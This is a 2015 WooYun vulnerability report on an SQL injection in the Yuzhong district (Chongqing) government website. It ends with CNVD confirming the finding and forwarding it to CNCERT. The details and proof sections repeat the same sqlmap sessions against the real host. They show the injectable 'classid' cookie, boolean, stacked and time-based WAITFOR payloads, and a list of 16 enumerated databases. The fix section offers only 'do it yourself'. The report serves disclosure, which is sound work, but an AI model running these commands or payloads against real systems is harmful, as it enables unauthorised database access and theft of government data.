当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0117613

漏洞标题:重庆市渝中区人民政府存在sql注入

相关厂商:重庆市渝中区人民政府

漏洞作者: Ra8er

提交时间:2015-06-02 15:34

修复时间:2015-07-20 18:44

公开时间:2015-07-20 18:44

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-02: 细节已通知厂商并且等待厂商处理中
2015-06-05: 厂商已经确认,细节仅向厂商公开
2015-06-15: 细节向核心白帽子及相关领域专家公开
2015-06-25: 细节向普通白帽子公开
2015-07-05: 细节向实习白帽子公开
2015-07-20: 细节向公众公开

简要描述:

好多注入

详细说明:

http://www.cqyz.gov.cn/web1/info/index.asp?classid=2328 其中一个,好多东西
这个速度也是没谁了,都要断电了还没爬出来,不等了

root@ra8er:~# sqlmap -u "http://www.cqyz.gov.cn/web1/info/index.asp" --cookie "classid=2328" --level 2
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 22:17:57
[22:17:57] [INFO] testing connection to the target URL
[22:17:57] [INFO] testing if the target URL is stable. This can take a couple of seconds
[22:17:59] [INFO] target URL is stable
[22:17:59] [INFO] testing if Cookie parameter 'classid' is dynamic
[22:17:59] [INFO] heuristics detected web page charset 'GB2312'
[22:17:59] [INFO] confirming that Cookie parameter 'classid' is dynamic
[22:17:59] [WARNING] Cookie parameter 'classid' does not appear dynamic
[22:17:59] [WARNING] heuristic (basic) test shows that Cookie parameter 'classid' might not be injectable
[22:17:59] [INFO] testing for SQL injection on Cookie parameter 'classid'
[22:17:59] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[22:18:01] [WARNING] reflective value(s) found and filtering out
[22:18:01] [INFO] Cookie parameter 'classid' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[22:18:02] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'Microsoft SQL Server'
do you want to include all tests for 'Microsoft SQL Server' extending provided level (2) and risk (1)? [Y/n]
[22:18:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[22:18:04] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause (EXTRACTVALUE)'
[22:18:04] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE or HAVING clause'
[22:18:04] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[22:18:04] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[22:18:04] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[22:18:04] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[22:18:05] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)'
[22:18:05] [INFO] testing 'Firebird AND error-based - WHERE or HAVING clause'
[22:18:05] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause'
[22:18:05] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (IN)'
[22:18:05] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter replace'
[22:18:06] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter replace (integer column)'
[22:18:06] [INFO] testing 'MySQL inline queries'
[22:18:06] [INFO] testing 'PostgreSQL inline queries'
[22:18:06] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[22:18:06] [INFO] testing 'Oracle inline queries'
[22:18:06] [INFO] testing 'SQLite inline queries'
[22:18:07] [INFO] testing 'Firebird inline queries'
[22:18:07] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[22:18:07] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[22:18:07] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[22:19:07] [INFO] Cookie parameter 'classid' seems to be 'Microsoft SQL Server/Sybase stacked queries' injectable
[22:19:07] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[22:19:18] [INFO] Cookie parameter 'classid' seems to be 'Microsoft SQL Server/Sybase time-based blind' injectable
[22:19:18] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[22:19:18] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[22:19:24] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[22:19:25] [INFO] target URL appears to have 6 columns in query
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n]
[22:19:53] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. --dbms=mysql)
[22:19:53] [INFO] testing 'Generic UNION query (80) - 22 to 40 columns'
Cookie parameter 'classid' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection points with a total of 89 HTTP(s) requests:
---
Place: Cookie
Parameter: classid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: classid=2328 AND 2469=2469
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: classid=2328; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: classid=2328 WAITFOR DELAY '0:0:5'--
---
[22:20:08] [INFO] testing Microsoft SQL Server
[22:20:10] [INFO] confirming Microsoft SQL Server
[22:20:16] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
[22:20:16] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 88 times
[22:20:16] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.cqyz.gov.cn'
[*] shutting down at 22:20:16
root@ra8er:~# sqlmap -u "http://www.cqyz.gov.cn/web1/info/index.asp" --cookie "classid=2328" --dbs --level 2
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 22:20:23
[22:20:23] [INFO] resuming back-end DBMS 'microsoft sql server'
[22:20:23] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: Cookie
Parameter: classid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: classid=2328 AND 2469=2469
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: classid=2328; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: classid=2328 WAITFOR DELAY '0:0:5'--
---
[22:20:51] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
[22:20:51] [INFO] fetching database names
[22:20:51] [INFO] fetching number of databases
[22:20:51] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[22:20:51] [INFO] retrieved:
[22:20:51] [INFO] heuristics detected web page charset 'GB2312'
[22:20:52] [WARNING] reflective value(s) found and filtering out
[22:21:12] [WARNING] time-based comparison requires larger statistical model, please wait..........................
[22:21:24] [CRITICAL] there is considerable lagging in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)
[22:21:24] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
[22:21:35] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[22:21:35] [ERROR] unable to retrieve the number of databases
[22:21:35] [INFO] retrieved: zfwz
[22:21:50] [INFO] retrieved: master
[22:22:05] [INFO] retrieved: tempdb
[22:22:22] [INFO] retrieved: model
[22:22:35] [INFO] retrieved: msdb
[22:22:47] [INFO] retrieved: ReportServer
[22:23:24] [INFO] retrieved: ReportServerTempDB
[22:24:13] [INFO] retrieved: ztHouseBreak
[22:24:43] [INFO] retrieved: zfwz
[22:24:55] [INFO] retrieved: zfwzrdjy
[22:25:20] [INFO] retrieved: yzzkbcxdata
[22:25:52] [INFO] retrieved: cms
[22:26:04] [INFO] retrieved: daping_db
[22:26:27] [INFO] retrieved: ztHouseBreak_ljx
[22:27:20] [INFO] retrieved: xcount
[22:27:41] [INFO] retrieved: cq_yzq
[22:27:58] [INFO] retrieved: rdjy
[22:28:09] [INFO] retrieved:
available databases [16]:
[*] cms
[*] cq_yzq
[*] daping_db
[*] master
[*] model
[*] msdb
[*] rdjy
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
[*] xcount
[*] yzzkbcxdata
[*] zfwz
[*] zfwzrdjy
[*] ztHouseBreak
[*] ztHouseBreak_ljx
[22:28:13] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 529 times
[22:28:13] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.cqyz.gov.cn'
[*] shutting down at 22:28:13

漏洞证明:

http://www.cqyz.gov.cn/web1/info/index.asp?classid=2328 其中一个,好多东西
这个速度也是没谁了,都要断电了还没爬出来,不等了

root@ra8er:~# sqlmap -u "http://www.cqyz.gov.cn/web1/info/index.asp" --cookie "classid=2328" --level 2
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 22:17:57
[22:17:57] [INFO] testing connection to the target URL
[22:17:57] [INFO] testing if the target URL is stable. This can take a couple of seconds
[22:17:59] [INFO] target URL is stable
[22:17:59] [INFO] testing if Cookie parameter 'classid' is dynamic
[22:17:59] [INFO] heuristics detected web page charset 'GB2312'
[22:17:59] [INFO] confirming that Cookie parameter 'classid' is dynamic
[22:17:59] [WARNING] Cookie parameter 'classid' does not appear dynamic
[22:17:59] [WARNING] heuristic (basic) test shows that Cookie parameter 'classid' might not be injectable
[22:17:59] [INFO] testing for SQL injection on Cookie parameter 'classid'
[22:17:59] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[22:18:01] [WARNING] reflective value(s) found and filtering out
[22:18:01] [INFO] Cookie parameter 'classid' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[22:18:02] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'Microsoft SQL Server'
do you want to include all tests for 'Microsoft SQL Server' extending provided level (2) and risk (1)? [Y/n]
[22:18:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[22:18:04] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause (EXTRACTVALUE)'
[22:18:04] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE or HAVING clause'
[22:18:04] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[22:18:04] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[22:18:04] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[22:18:04] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[22:18:05] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)'
[22:18:05] [INFO] testing 'Firebird AND error-based - WHERE or HAVING clause'
[22:18:05] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause'
[22:18:05] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (IN)'
[22:18:05] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter replace'
[22:18:06] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter replace (integer column)'
[22:18:06] [INFO] testing 'MySQL inline queries'
[22:18:06] [INFO] testing 'PostgreSQL inline queries'
[22:18:06] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[22:18:06] [INFO] testing 'Oracle inline queries'
[22:18:06] [INFO] testing 'SQLite inline queries'
[22:18:07] [INFO] testing 'Firebird inline queries'
[22:18:07] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[22:18:07] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[22:18:07] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[22:19:07] [INFO] Cookie parameter 'classid' seems to be 'Microsoft SQL Server/Sybase stacked queries' injectable
[22:19:07] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[22:19:18] [INFO] Cookie parameter 'classid' seems to be 'Microsoft SQL Server/Sybase time-based blind' injectable
[22:19:18] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[22:19:18] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[22:19:24] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[22:19:25] [INFO] target URL appears to have 6 columns in query
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n]
[22:19:53] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. --dbms=mysql)
[22:19:53] [INFO] testing 'Generic UNION query (80) - 22 to 40 columns'
Cookie parameter 'classid' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection points with a total of 89 HTTP(s) requests:
---
Place: Cookie
Parameter: classid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: classid=2328 AND 2469=2469
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: classid=2328; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: classid=2328 WAITFOR DELAY '0:0:5'--
---
[22:20:08] [INFO] testing Microsoft SQL Server
[22:20:10] [INFO] confirming Microsoft SQL Server
[22:20:16] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
[22:20:16] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 88 times
[22:20:16] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.cqyz.gov.cn'
[*] shutting down at 22:20:16
root@ra8er:~# sqlmap -u "http://www.cqyz.gov.cn/web1/info/index.asp" --cookie "classid=2328" --dbs --level 2
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 22:20:23
[22:20:23] [INFO] resuming back-end DBMS 'microsoft sql server'
[22:20:23] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: Cookie
Parameter: classid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: classid=2328 AND 2469=2469
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: classid=2328; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: classid=2328 WAITFOR DELAY '0:0:5'--
---
[22:20:51] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
[22:20:51] [INFO] fetching database names
[22:20:51] [INFO] fetching number of databases
[22:20:51] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[22:20:51] [INFO] retrieved:
[22:20:51] [INFO] heuristics detected web page charset 'GB2312'
[22:20:52] [WARNING] reflective value(s) found and filtering out
[22:21:12] [WARNING] time-based comparison requires larger statistical model, please wait..........................
[22:21:24] [CRITICAL] there is considerable lagging in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)
[22:21:24] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
[22:21:35] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[22:21:35] [ERROR] unable to retrieve the number of databases
[22:21:35] [INFO] retrieved: zfwz
[22:21:50] [INFO] retrieved: master
[22:22:05] [INFO] retrieved: tempdb
[22:22:22] [INFO] retrieved: model
[22:22:35] [INFO] retrieved: msdb
[22:22:47] [INFO] retrieved: ReportServer
[22:23:24] [INFO] retrieved: ReportServerTempDB
[22:24:13] [INFO] retrieved: ztHouseBreak
[22:24:43] [INFO] retrieved: zfwz
[22:24:55] [INFO] retrieved: zfwzrdjy
[22:25:20] [INFO] retrieved: yzzkbcxdata
[22:25:52] [INFO] retrieved: cms
[22:26:04] [INFO] retrieved: daping_db
[22:26:27] [INFO] retrieved: ztHouseBreak_ljx
[22:27:20] [INFO] retrieved: xcount
[22:27:41] [INFO] retrieved: cq_yzq
[22:27:58] [INFO] retrieved: rdjy
[22:28:09] [INFO] retrieved:
available databases [16]:
[*] cms
[*] cq_yzq
[*] daping_db
[*] master
[*] model
[*] msdb
[*] rdjy
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
[*] xcount
[*] yzzkbcxdata
[*] zfwz
[*] zfwzrdjy
[*] ztHouseBreak
[*] ztHouseBreak_ljx
[22:28:13] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 529 times
[22:28:13] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.cqyz.gov.cn'
[*] shutting down at 22:28:13

修复方案:

自行

版权声明:转载请注明来源 Ra8er@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-06-05 18:42

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给重庆分中心,由其后续协调网站管理单位处置。

最新状态:

暂无